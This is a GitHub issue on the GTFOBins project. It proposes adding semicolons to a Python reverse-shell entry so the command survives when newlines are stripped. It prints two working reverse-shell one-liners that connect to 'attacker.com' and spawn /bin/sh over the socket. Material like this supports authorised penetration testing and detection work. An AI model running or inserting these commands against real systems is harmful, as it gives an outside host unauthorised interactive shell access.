GTFOBins.github.io
GTFOBins.github.io copied to clipboard
[enhancement] Add `;` to python reverse shell
Hey i was attempting to use the reverse shell from python against a test box and encountered some errors due to not parsing newlines. Would it be viable to modify the reverse shell bin so it includes ; after every command so it can execute always in one line?
If so i would be happy to open a PR.
example:
export RHOST=attacker.com
export RPORT=12345
python -c 'import sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")'
this will break on oneline execution like a single command invocation
python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
this can be executed in oneline even with
\npruning